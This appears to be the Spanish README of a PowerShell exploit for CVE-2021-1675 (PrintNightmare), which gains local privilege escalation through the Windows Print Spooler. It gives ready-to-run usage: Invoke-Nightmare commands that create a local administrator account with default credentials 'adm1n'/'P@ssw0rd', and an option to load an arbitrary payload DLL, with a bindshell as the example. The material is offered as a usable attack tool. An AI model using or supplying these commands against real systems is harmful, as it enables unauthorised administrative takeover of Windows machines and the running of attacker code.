
Exploit en PowerShell para CVE-2021-1675 (PrintNightmare) que realiza escalada de privilegios local mediante Print Spooler, con inyección de payload DLL personalizado y creación de usuario en el grupo de administradores local.
Caleb Stewart | John Hammond | 1 de junio de 2021
CVE-2021-1675 es una vulnerabilidad crítica de ejecución remota de código y escalada local de privilegios conocida como "PrintNightmare".
Se han publicado exploits de prueba de concepto (Python, C++) para la capacidad de ejecución remota de código, y una versión en C# para la escalada local de privilegios. No habíamos visto una implementación nativa en PowerShell puro, y queríamos intentar refinar y reelaborar el exploit.
Este script de PowerShell realiza una escalada local de privilegios (LPE) con la técnica de ataque PrintNightmare.

Esto ha sido probado en Windows Server 2016 y Windows Server 2019.
Añade un nuevo usuario al grupo de administradores locales por defecto:
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
Proporciona un payload DLL personalizado, para hacer cualquier otra cosa que desees.
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"